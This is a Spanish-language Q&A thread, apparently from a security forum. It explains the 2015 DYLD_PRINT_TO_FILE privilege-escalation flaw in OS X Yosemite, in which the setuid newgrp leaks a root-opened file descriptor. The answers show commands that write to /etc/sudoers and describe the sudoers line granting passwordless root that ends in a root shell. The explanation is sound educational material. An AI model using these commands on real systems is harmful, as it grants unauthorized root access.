¿Cómo funciona la vulnerabilidad de escalada de privilegios de DYLD en OS X?

10

Acabo de leer acerca de la vulnerabilidad de escalada de privilegios DYLD informada por Stefan Esser en enlace

Entiendo que esto permite que cualquiera pueda crear o abrir archivos arbitrarios que pertenecen a la raíz en cualquier parte del sistema de archivos, pero quiero entender más cómo filtrar el descriptor de archivos a procesos secundarios hace que esto sea una amenaza mayor que si no lo hiciera.

    
pregunta Josh 22.07.2015 - 19:00
fuente

2 respuestas

7

Análisis

Al configurar:

DYLD_PRINT_TO_FILE=/tmp/log some_command

el cargador dinámico de MacOS X abrirá /tmp/log como un archivo de registro, es decir, con acceso adicional a posibles problemas de depuración dentro del cargador dinámico. Este archivo está abierto con el primer descriptor de archivo libre en el contexto de llamada de shell que es 3. De ahí que las asociaciones de descriptores de archivos sean:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

y dentro de este contexto, el proceso some_command está bifurcado.

Desafortunadamente, el cargador dinámico no se cierra 3. Por lo tanto, el proceso some_command se está ejecutando con un archivo abierto que nunca tuvo que abrir y nunca pasó por el control de acceso normal del sistema de archivos. Este puede ser un archivo al que some_command no debería tener acceso si normalmente intenta abrirlo.

Ejemplo

Por ejemplo, aunque newgrp es un binario setuid que no puede escribir en archivos protegidos correctamente:

$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor

este error es normal, la shell bifurcada por newgrp no tiene un descriptor de archivo 3 abierto, ya que lsof permite verlo claramente (mire la columna FD para el 3):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF      NODE NAME
[...]
zsh     2405  bob    0u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    1u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    2u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    5                                   (revoked)
[...]

Pero debido a la falta de cierre 3 en el cargador dinámico:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$

cuidado: aquí la ausencia del mensaje de error significa que el echo trabajó. y además lsof muestra el agujero (línea 3w, que significa descriptor de archivo 3 abierto con acceso de escritura):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF       NODE NAME
[...]
zsh     2430  bob    0u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    1u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    2u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    3w   REG    1,7      1293 2034681610 /private/etc/sudoers
zsh     2430  bob    5                                    (revoked)
[...]

permitirá que newgrp escriba en el archivo /etc/sudoers donde nunca debería haber ocurrido.

Advertencia

Si prueba este ejemplo, no olvide limpiar su /etc/sudoers después, incluso si este ejemplo es inofensivo. Su última línea contiene ahora #comment .

    
respondido por el daniel Azuelos 23.07.2015 - 15:51
fuente
3

newgrp es una utilidad de UNIX que ejecuta un shell con una nueva ID de grupo (consulte especificación UNIX página ). Esta utilidad requiere permiso de root ya que puede cambiar el ID de grupo a uno fuera de la lista de grupos del shell actual (por ejemplo, a cualquier grupo en la lista de grupos del uid). Por lo tanto, newgrp es una aplicación raíz de setuid que inicia un shell.

DYLD_PRINT_TO_FILE es una variable de entorno dyld (enlazador dinámico OS X) que le indica a dyld dónde imprimir la información de depuración. Esta variable en particular se agregó en OS X 10.10 "Yosemite". Es solo uno de los gran cantidad de DYLD_ variables , que facilita la depuración de la carga de la biblioteca compartida. Cuando dyld ve DYLD_PRINT_TO_FILE , abre un nuevo descriptor de archivo conectado al archivo especificado. Dado que fds 0,1,2 ya están conectados a stdin, stdout y stderr, el archivo se abre como fd 3. Notablemente, como newgrp comienza como root, el archivo se abre con los permisos de root, aunque newgrp luego se elimine privilegios para engendrar la cáscara.

Debido a que las variables de entorno DYLD_ pueden modificar el comportamiento de un programa de maneras inesperadas (particularmente DYLD_INSERT_LIBRARIES , el equivalente de OS X de LD_PRELOAD ), generalmente se eliminan o sanean antes de ejecutar los programas setuid. Apple se olvidó claramente de desinfectar el nuevo DYLD_PRINT_TO_FILE al enviar Yosemite, lo que abre este fallo en particular.

Finalmente, el comando echo (externo) le dice a la subshell generada por newgrp que ejecute el comando echo (interno), que envía la cadena $(whoami) ALL=(ALL) NOPASSWD:ALL a fd 3, que ahora es /etc/sudoers . Esta línea le dice a sudo que a cualquier cuenta se le permite acceso a sudo, y que no se requiere una contraseña para usar sudo.

La subshell luego sale (no hay más comandos para ejecutar), y el comando final sudo -s se ejecuta. Dado que sudo ya no requiere una contraseña, y todas las cuentas pueden usar sudo, sudo -s solo abre inmediatamente un shell de root sin preguntar.

dyld de OS X elimina realmente todas las variables DYLD_ del entorno para las aplicaciones setuid , como se puede ver en la función pruneEnvironmentVariables de dyld.cpp . Entonces, ¿por qué existe este error en absoluto? La respuesta es que DYLD_PRINT_TO_FILE se maneja mucho antes de que tenga lugar el saneamiento; de hecho, es básicamente lo primero que dyld hace después de iniciarse (consulte _main en dyld.cpp ). La solución de Apple, por lo tanto, debería ser bastante simple: el archivo debe abrirse solo después de que el entorno se haya saneado correctamente.

    
respondido por el nneonneo 24.07.2015 - 05:49
fuente

Lea otras preguntas en las etiquetas